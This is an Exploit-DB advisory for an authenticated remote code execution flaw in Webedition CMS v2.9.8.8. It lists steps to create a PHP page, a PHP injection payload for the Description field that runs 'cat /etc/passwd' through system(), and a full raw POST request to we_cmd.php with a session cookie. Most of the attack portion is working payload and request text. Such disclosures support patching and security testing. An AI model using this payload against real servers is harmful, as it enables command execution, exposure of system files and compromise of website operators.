Exploit-DB #51661
Description: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-08-04
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Application: webedition Cms
Version: v2.9.8.8   
Bugs:  RCE
Technology: PHP
Vendor URL: https://www.webedition.org/
Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
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steps
1. Login account
2. Go to New -> Webedition page -> empty page
3. Select php
4. Set as "><?php echo system("cat /etc/passwd");?>  Description area

Poc request: 

POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1
Host: localhost
Content-Length: 1621
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300
Connection: close

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